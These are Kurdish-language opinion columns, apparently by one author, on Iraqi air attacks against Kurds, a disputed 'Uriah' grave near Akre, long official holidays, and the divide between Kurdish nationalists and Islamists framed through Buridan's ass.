پێشگۆتن: ب هاتنا سته‌مكاره‌كى په‌سنا سته‌مكارێ چووى دكه‌ین و ژ بیرا خوه‌ دبه‌ین، كو سته‌مكارێ چووى رێخۆشكه‌رێ سته‌مكارێ نها بوو! بابه‌تێ سته‌مكارییا داگیركه‌رى گرێدا ئاستێ شیان و هه‌بوونا ده‌لیڤه‌ و گۆنجاندنا ره‌وش و كاودانایه‌، هه‌مى سته‌مكار كویچكێن ئێك دێهلن و ب هه‌مان زاكێ سته‌مێ فرشكبووینه‌. (له‌بیرت نه‌چێ، باخچه‌ى سه‌ر سه‌را ـ به‌خوینى كوردى مه‌زلوم ئاودرا) هۆسا قانعێ شاعر ده‌ربڕین ژ كوشتارا خۆنیشاده‌رێن سه‌ڕایێ ل سلێمانیێ ل سالا 1930، لێ بابه‌تى َمه‌ دێ ل دۆر كوشتارێن فرۆكه‌یان بیت، كو ژ لایێ حوكمه‌تێن ئیراقێ یێن ل دویڤ ئێك دژى هه‌ڤوه‌لاتیێن كوردستانێ هاتینه‌ ئه‌نجامدان:
1- فرۆكه‌یا (جیسى مۆت) یا ئینگلیزى ئه‌و فرۆكه‌یا فرۆكه‌ڤانێ ( ناگق محمد خلیل الگائی) ل سالا 1032 ژلایێ هێرش پێ كریه‌ سه‌ر ده‌ڤه‌را بارزان و هاتیه‌ ئێخستن، دا مینۆمێنته‌ك ل باخچه‌یێ شه‌هیدان ل مووسل بۆ بهێته‌ چێكرن، و ناڤێ باخچه‌ى ببیته‌ (حدیقه‌ الشهدا‌و)، ئه‌ڤه‌ ل رۆژا سێیێ ژ جه‌ژنا قوربانى بوو، كو خه‌لك دیارییان پێشكێشدكه‌ن و پیرۆزباهیێ لێك دگوهۆرن، حوكمه‌تا ئیراقێ فرۆكه‌یێن شه‌ركه‌ر هنارتنه‌ كوردستانێ دا بومبه‌یان ببارینن. (الكاردینیا – مجله‌ پقافیه‌ عامه‌).
2- فرۆكه‌یا (مێك 21) پشتى تێكچوونا ره‌وشا سیاسى ل ئیراقێ و په‌یدابوونا گرژیێ د ناڤه‌را كوردان و حوكمه‌تا عه‌بدلكه‌ریم قاسمى، ل رۆژا 11 ئه‌یلولا 1961 شه‌ڕ و پێكدانان ل ده‌ڤه‌رێن جودا رویدان، پشتى بۆرینا هه‌یڤه‌كێ ب تمامى ئانكو ل 11/10/1961ێ ل دویڤ گۆتنا دیده‌ڤانان ل ده‌مژمێر 3:30 ئێڤارى خانیێ هه‌ڤوه‌لاتى كوركۆى ژ لایێ فرۆكه‌یێن مێك21 هاته‌ مۆشه‌كباراندن، د ئه‌نجامدا (21) كه‌س بوونه‌ قوربانى.
3- فرۆكه‌یا (سوخۆى): ل سپێده‌هییا 24 نیسانا 1974 چار فرۆكه‌یێن سوخۆى و دو فرۆكێن تۆبۆلیف باژێركێ قه‌لادزى ب مۆشه‌ك و بومبه‌بارانكر ژ وان بومبێن فۆسفۆرى و ناپالم، دا پشتى ده‌مژمێره‌كێ ژ بومبه‌ربارانكرنى، د كوشتاره‌كا مه‌ترسیدار دا باژێركێ بكه‌ن كۆمه‌كا خوینێ، كو پترى (350) جانگۆرى و (750) بریندار و ئاڤاهى وێرانكرى ل دویڤ خوه‌ هێلاین. (bas news) ل 24/4/2021
4- فرۆكه‌یا (میراج): ل 16 ئادارا 1988 ب فه‌رمانا سه‌دام حسێنى و سه‌ركردایه‌تیا نه‌زار خه‌زره‌جى (برامج – وفى روایه‌ اخرى – تقدیم: بدرالدین الصائغ، www.alaraby.com ) فرۆكه‌یێن مێك و میراج بومبه‌یێن كیمیاوى به‌ردانه‌ سه‌ر باژێرێ حه‌له‌بچه‌، كو بوونه‌ ئه‌گه‌رێ جانگۆریكرنا (5000) كه‌سان و نێزیكى (10000) برینداران.
ژ ڤێ پێداچوونێ دیاردبیت كو ئه‌م كورد یێن ل پێش ئارێشه‌یه‌ك مه‌زن، ئه‌وژى گه‌ه‌شكرنا هێزا ئاسمانییا ئیراقێ، كو ل دژى ملله‌تێ كورد ب درێژییا سه‌د سالان هاتییه‌ بكارئینان، ل ده‌ستپێكێ فرۆكه‌یا ئینگلیزى (جیسى موت ـ سالا 1932 ل بارزان)، فرۆكه‌یا رۆسى (مێك21- ل گوندێ كوركۆ ـ سالا 1961)، فرۆكه‌یا (مێك و سوخۆى ل وێرنكرنا قه‌لادزێ – 1974)، و دویماهیێ فرۆكا (میراج یا فره‌نسى، د كیمیابارنكرنا حه‌له‌بچه‌ دا – 1988).
لێ پشتى سه‌رهلدانێ و بتایبه‌ت د سالا 32024 دا، ئه‌م یێن د قۆناغه‌كا هه‌ستدار و مه‌ترسیدارتر دا دبۆرین، ئه‌وژى كوردستان یا تووشێ هێرشێن درۆنان دبیت.

محسن عه‌بدلڕه‌حمان
د گۆڤارا مه‌تین ژماره‌ 242 و لاپه‌ره‌یین (153-156) دا بابه‌ته‌ك بناڤێ (گۆڕێ شه‌هید ئوریایێ حسى ل سه‌ر بانێ گه‌لها گوندێ شۆش ل ده‌ڤه‌را ئاكرى) ژ لایێ (خه‌تاب شۆشى) ڤه‌ هاتیه‌ نڤێسین، نڤێسه‌رى متمانه‌ ل سه‌ر ڤه‌گێڕانێ و كه‌ڤره‌كى كو نه‌خشه‌یێ ستێرا داوود یا شه‌ش گۆشه‌ ل سه‌ر و هه‌ردو ئایه‌تێن سه‌موئیل (11، 12) ژ په‌یمانا كه‌ڤن (ته‌ورات)ێ ئیناینه‌ دا بۆچوونا خوه‌ بسه‌لـمینیت. ئانكو نڤێسه‌رى ڤیایه‌ بابه‌تى وه‌كو راستییه‌ك مێژوویى مێژووییه‌ و نه‌خشه‌یێ ستێرا داوودى وه‌كو شینوار كریه‌ به‌لگه‌.

لێ ب پێداچوونه‌كێ بۆ مێژوویا رویدانا دیرۆكێ ئه‌وا د ناڤبه‌را شاه داوود و سه‌ركرده‌یه‌كێ له‌شكرێ وى بناڤێ (ئوریا) كو ب شێوه‌كێ خوازه‌ قورئانا پیرۆز ژى ئاماژه‌پێ كریه‌، ئه‌گه‌ر بابه‌ت چیرۆك و سه‌رهاتییه‌ك دێرینه‌ وه‌كو ب ده‌هان جه ل كوردستانێ هه‌نه‌ بناڤێ ئیمامێ عه‌لى، ئه‌وێ هه‌ر د بنیات دا نه‌هاتیه‌ كوردستانێ، دهێته‌ په‌سه‌ندكرن، لێ نڤێسه‌ر به‌لگه‌یه‌ك شینوارى بینیت، ل ڤێره‌ چه‌ند پڕسه‌ك خوه‌ دسه‌پینن:
1- ده‌ستپێكێ (شه‌هید) زاراڤه‌كه‌ دگه‌ل ئیسلامێ به‌لاڤبوویه‌ و ئوریا ل سه‌ر ده‌مێ داوودى یه‌ ئه‌وێ ده‌ستهه‌لاتا وى (1011 – 971 پ. ز) دابوو. دیسا ئوریا ب پیلانا داوودى نه‌ ژبۆ باوه‌رییا خوه‌ هاتییه‌ كوشتن، له‌ورا ب چ ره‌نگان وه‌كو جانگۆرى (شهید) ناهێته‌ هژمارتن، به‌لكو ئه‌و قوربانیێ جوانییا (به‌شبه‌ع) ژنا خوه‌یه‌، ئه‌وا داوودى په‌یوه‌ندى ل گه‌ل كرى.
2- شه‌ر داوودى دگه‌ل (به‌نى عه‌مون) و پایته‌ختێ وێ (ربه‌) كو دكه‌فته‌ سه‌ر رویبارى ئوردون بوو، د ناڤبه‌را ئاكرێ و رویبارێ ئوردون قۆناغه‌ك دویر و ده‌رازه‌! (St-Takla.org)
3- شاه داوودى لپه‌ر ته‌وراتا پیرۆز: (سپێدێ داوودى نڤێساره‌ك نڤێسى و ب ده‌ستێ ئوریایى بۆ یوئابى هنارت، تێدا نڤێسیبوو. ئوریایى داننه‌ پێشییا شه‌رى ل جهێ مه‌ترسیدار و پشتا وى به‌رده‌ن دا بهێته‌ هنگافتن و كوشتن) (الكتاب المقدس، دار الكتاب المقدس فی الشرق الاوسگ، 1987، ص498).
4- ده‌ڤه‌را ئاكرێ كو وى سه‌رده‌مێ پشكه‌ك ژ ده‌ستهه‌لاتدارییا ئاشورى بوو، د مێژوویێ دا نه‌هاتیه‌ زانین كو جاره‌كێ ده‌ستهه‌لاتا ئیسرائیلییان گه‌هشتبیته‌ كوردستانێ.
یا گرنگ د بابه‌تى دا بۆچى ئه‌ڤه‌ گوڕێ (ئوریایێ حسى)یه‌، تنێ دا پیرۆزییه‌كێ بده‌نه‌ جهى، ئه‌رێ ئوریا كه‌سه‌كێ پیرۆز یان كه‌سه‌كێ بێ هه‌لوه‌ست بوو؟ ل په‌ى ڤه‌گێڕانا ته‌وراتێ ئه‌وى زانى كو په‌یوه‌ندى د ناڤبه‌را داوودى و (به‌شبه‌ع)ا ژنا وى دا چێبوویه‌، له‌ورا نه‌چوو مال، و فرمانا كوشتنا خوه‌ ب ده‌ستێ خوه‌ بر! دیسا قورئانا پیرۆز ل سه‌ر ڤى كارێ ناپه‌سه‌ند گازنده‌ ژ داوودى كریه‌ (ان هژا اخی له تسع وتسعون نعجه‌ ولی نعجه‌ واحده‌ فقال اكفیلنیها وعزنی فی الخگاب) (سوره‌ ص: 23). دیسا دبێژم ئه‌گه‌ر هه‌بوونا ئوریایى ل شۆشێ هاته‌ سه‌لـماندن ژى، پرس دێ هێته‌كرن: ئوریایى ل ڤێره‌ چ دكر، شه‌ڕ دژى كێ دكر، چه‌ند كه‌س كوشتن و بۆچى!؟ هینگێ دشێین بێژین ئه‌و داگیركه‌ره‌كێ زۆرداربوو، ڤیابیت بهێته‌ به‌ربارانكرن نه‌بكه‌نه‌ مه‌زاره‌كێ پیرۆز. چنكو ئه‌وێ نه‌شیایى به‌ره‌ڤانیێ ژ نامویسا خوه‌ بكه‌ت، چاوا دبیته‌ شه‌هید!؟
لێ هه‌ر پرسیار ئه‌وه‌ ئه‌ڤ سندرویكه‌ یان گۆڕه‌ یێ كێیه‌ و یێ كه‌نگییه‌!؟ ب هزرا من هێژ ئه‌م ئه‌و بیانى په‌رێسین یێن بیانییان مه‌زن دكه‌ن و خوه‌ كێم دبینن، و تاكو ب ئه‌قله‌كێ كوردى هزرنه‌كه‌ین و مێژوویێ و باوه‌ریێ و دلینیێ ژێكجودانه‌كه‌ین، هه‌ر ره‌وشا مه‌ دێ هۆسا و خراتبتربیت، هه‌ر داگیركه‌ر دێ دپیرۆزبن و بابكالێن قاره‌مانێن به‌ره‌ڤانى ژ وه‌لات و روومه‌تا خوه‌كرى، دێ د رسواركریبن و ب گاور و پشته‌ڕێ هێنه‌ نیاسین.

ل سه‌ر ئاخا كوردستانێ پێنگاڤا خوه‌ نه‌رم بهاڤێژى، ل ژێر هه‌ر بهۆسته‌كێ جانگۆرییه‌ك راسپاردییه‌

محسن عه‌بدلڕه‌حمان
ئاساییه‌ د سالێ دا هنده‌ك رۆژ هه‌لكه‌فت بن و ببنه‌ بێهنڤه‌دانێن فه‌رمی، وه‌كو جه‌ژن و سه‌رێ سالێ و بیرهاتنێن نه‌ته‌وه‌یی و نیشتیمانی…، لی یا نه‌ئاسایی و ناوازه‌، به‌لكو هۆكارێ تێكدانا ره‌وش و شیرازێ ژیانا رۆژانه‌یا هه‌ڤوه‌لاتییان و كاروبارێ خزمه‌تگۆزارییا فه‌رمانبه‌رییانه‌، ئه‌و ژی ده‌مان ب فه‌رمی چه‌ندین رۆژ ل دویڤ وه‌كو بێهنڤه‌دان دهێن راگه‌هاندن، بۆ نموونه‌ بێهنڤه‌دانا ئه‌ڤێ سه‌ر سالێ، كو ژ 12/25 تا 1/3 ئانكو 9 رۆژ، ئه‌ڤه‌ تنێ بۆ جه‌ژنا سه‌رێ سالا زایینی یه‌، كو ئه‌و ب خوه‌ ل ئه‌ورۆپا تنێ (2) رۆژن و جڤاكێ كوردیێ شانازیێ ب موسلمانبوونا خوه‌ دكه‌ت، زێده‌باری رۆژا 12/17 رۆژا ئالایێ كوردستانێ یه‌ و رۆژا 12/18 رۆژا هه‌لبژارتنێن پارێزگه‌هێن ئیراقێ یه‌، ئانكو ب كێمی 11 رۆژا ڤه‌قه‌تیان دكه‌ڤیته‌ هه‌می كارێ داموده‌زگه‌هێن حوكمه‌تێ و ب تایبه‌ت كو زیانا هه‌ره‌ مه‌زنه‌ ب كه‌رتێ په‌روه‌رده‌یێ و فێركرنێ دكه‌ڤیت، ئه‌ڤه‌ هه‌می بۆ چ و كی سۆدمه‌نده‌!؟
هه‌لبه‌ت هه‌ڤوه‌لاتی و خویندكار و كاسبكار زیانڤێكه‌فتینه‌ و سۆدمه‌ند زه‌نگین و به‌رپڕسن، كو دشیێن بۆ گێڕانا ئاهه‌نگا سه‌رێ سالێ و بازاركرنێ و تاقیكرنا به‌ختی ـ قومارێ ـ فه‌ره‌ بچنه‌ ده‌رڤه‌ی كوردستانێ دا هنده‌ك ژ پارێ كۆمكری خه‌رج بكه‌ن، هۆسا دا بكوم بچن! كرنه‌ بێهنڤه‌دانا فه‌رمی، وه‌كو یێ (دلێ وی چوو كوشتی، ئینا گۆت گوهێن كه‌ری وه‌كو یێن كێڤریشكێنه‌)!

محسن عه‌بدلڕه‌حمان

دهێته‌ گۆتن (نموونه‌ دهێنه‌ ئینان بۆ به‌راوردكرنێ نه‌ پیڤانێ)! د چه‌رخێن ناڤه‌راستدا نۆژدار (جان بوریدانوس، ١٢٩٢-١٣٦٣) ژ به‌ر هزره‌كێ ناڤداربوو، ئه‌وژی كه‌ره‌ك روی ب روی ئالۆزیه‌كا دژواردبیت: كو د ئێك ده‌مدا دهێته‌ دانان هه‌مبه‌رێ ئامانه‌كی جه‌ه و ئێكی دی ئاڤ تێدا، نه‌زانی ژ كیژكی ده‌ستپێبكه‌ت، ئینا ل دووماهیێ ژ تێهن و برسێ مر. كێشه‌یه‌كا پێكه‌نینه‌ به‌ره‌بابێن داهاتی ب (كه‌رێ بریدان) ناڤكرن، كو ئه‌و كێشه‌یه‌كا هه‌ڤدژه‌ یان گرێدانه‌ك دو لایه‌نییه‌، ئه‌وژی گرتنا لایه‌نه‌كی ئانكو پشتگوه ئێخستنا لایه‌نێ دییه‌، كو هه‌ردو دگرنگن، ڤێچا ترس ژ ده‌ستانا لایه‌نه‌كییه‌.

ئه‌رستۆی ژی د گۆتارا خوه‌ دا ل دۆر به‌هه‌شتێ، نموونه‌یا زه‌لامێ ژ تێهن و برسێ دنالیت و ل دوورییه‌كا یه‌كسان ژ خوارن و ڤه‌خوارنێ رادوه‌ستیت و نه‌شێت بڕیارێ بده‌ت. بۆریدان دبێژته‌ ڤی هه‌لوه‌ستی (رێڤینگێ ل دۆڕیانێ و نه‌چاره‌ رێكه‌كێ بهه‌لبژێریت یان سه‌یێ د ناڤبه‌را دو خوارنێن خۆش دا حه‌یری). مه‌به‌ست پێ پێكه‌نینه‌ ژ هه‌لوه‌ستێن فه‌یله‌سۆفی، ده‌رباره‌ی دیارده‌یێ و ڤێیانا ئازاده‌. له‌ورا ره‌خنه‌گرێن وی ب كه‌ر دانیاسین.

جۆلیۆ لاندی د په‌رتووكا خوه‌ دا نڤێژا نه‌زانینێ (Orazione della ignoranza 1551) دبینیت: (نه‌بوونا زانینێ پالده‌ره‌كێ بهێزه‌ بۆ هێرشكرن و نه‌زانكرنا یێن دی).

ئه‌وێ بڤێت نهێنییان و په‌ناگه‌هێن په‌ندڤانیێ بسمیت، فه‌ره‌ یێ یێبێهنفره‌هـ، هوشیاربیت، دفن و سه‌ر و پشتا كه‌ری هه‌بیت، هه‌روه‌سا هه‌ستێن جوداهیێ د ناڤبه‌را ستری و خه‌سێ دا بكه‌ن هه‌بن. هۆسا كه‌ر وه‌كو نموونه‌یێ كه‌پۆنزمی و لێبۆرینێ و چاكیێن بنه‌ره‌تی د بابه‌تێن زانست و په‌ندڤانیێ دا خوه‌ پێشكێش دكه‌ت. هۆسا كه‌ساتییا ئه‌رێنییا كه‌ری ل جه‌م فه‌یله‌سۆفێ ئه‌لمانی نیچه‌ی، وه‌كو ڤێ پارچه‌یێ ژ زه‌ره‌ده‌شت: ” بێژه‌ من:” ژیان یا ب سه‌نگه‌ دا هه‌لبگری”. ” لێ یێ هه‌ستدار نه‌به‌! ئه‌م هه‌می كه‌رێن جوانین، حه‌ز ژ هه‌لگرتنا باران دكه‌ین.

ئه‌ڤ هه‌ڤكێشه‌یا راوه‌ستیان د ناڤبه‌را دو هه‌لبژارده‌یان، كو هه‌ردو ل ده‌ف مرۆڤی دگرنگن و ترس ژ چوون به‌ر ب ئێكێ ببیته‌ ئه‌گه‌رێ ژ ده‌ستدانا یا دوویێ بیت هه‌یه‌، ل ڤێره‌ نیگه‌رانی و دودلی په‌یدادبیت، چنكو هه‌مبه‌ر بده‌ستڤه‌ئینانه‌كێ ژ ده‌ستدانه‌ك هه‌یه‌! وه‌كو د كوردیێ هاتی (هه‌ی ژ دۆخین هه‌ی ژ مه‌شكا دۆشاڤێ)، (ژ داه‌وتا كه‌لێ و سه‌یرانا رویباری بوو)!

ڤان رۆژان ل جادا كوردی ژبلی كه‌سێن هشیار، هه‌ڤوه‌لاتیێن ئاسایی و تا كه‌سێن ئه‌كادیمی و سیاسی دینین، بووینه‌ كه‌رێن بۆویدانۆس، ئانكو بووینه‌ دو جوین و د هه‌ڤڕكییه‌كا دژواردانه‌ ل سه‌ر دو به‌ره‌یان لێكڤه‌بووینه‌، به‌ره‌یێ نه‌ته‌وه‌یێ ئه‌وژی پشته‌ڤانیكرن ل ملله‌تێ كورد و رسواكرنا دوژمنكاری و له‌شكركێشییا زۆردار و سته‌مكارانه‌ ل دژی رۆژئاڤایێ كوردستانێ، لایه‌نێ دی كو به‌ره‌یێ ئیسلامییه‌ و دوڤكه‌فتیێن بانگخوازان، كو ل سه‌ر دوژمنكارییا تركی دبێده‌نگن، لێ ده‌ما بزاڤا حه‌ماسا فله‌ستینی ژ نشكه‌كێ ڤه‌ هێرشكرییه‌ ئیسرائیل و شه‌ر د ناڤبه‌رێ دا چێبووی، ده‌نگێن بانگا جیهادێ هه‌لدێراین بلندبوون و یێن نه‌ته‌وه‌خواز ب دژێ ئیسلامێ و تاگرییا ئیسرائیل  و رۆژئاڤا دانه‌نیاسین، ئانكو شه‌ڕ بۆ شه‌ڕێ كوردێن نه‌ته‌وه‌خواز و ئیسلامی! د ده‌مه‌كی دا ئه‌ره‌با  بیست و دو ده‌وله‌ت و مه‌زنترین سه‌رمایه‌ هه‌یه‌ و جیهانا ئیسلامی بۆ پشته‌ڤانه‌، ل لایێ دی كوردان ژبلی خوه‌ كه‌س نینه‌، ب بێده‌نگی رۆژئاڤایێ كوردستانێ ل سه‌ر ده‌ستێ تركێن موسلمان و پشته‌ڤانییا ئه‌ره‌بێن موسلمان.. سه‌ر ئه‌رد یێ دهێته‌ سۆتن و ژێرئه‌رد یێ دهێته‌ وێرانكرن! ئیسلامیێن كورد دبێده‌نگن لێ بۆ غه‌ززه‌ خوه‌نیشادانان و نڤێژا غایب دكه‌ن!

له‌ورا هنده‌ك هه‌ڤوه‌لاتی ژ كوره‌یی ره‌وشا وان ژ هه‌ردویا خرابتره‌، ل به‌ربه‌رزه‌یه‌ پشته‌ڤانیا برایێ خوه‌ یێ دایبابی یان یێ دینی بكه‌ت!

*مفا وه‌رگرتن ژ گۆتارا: جان میشیل هینی ـ الحمار الفلسفی*.. النقل عن الفرنسیه‌: إبراهیم محمود.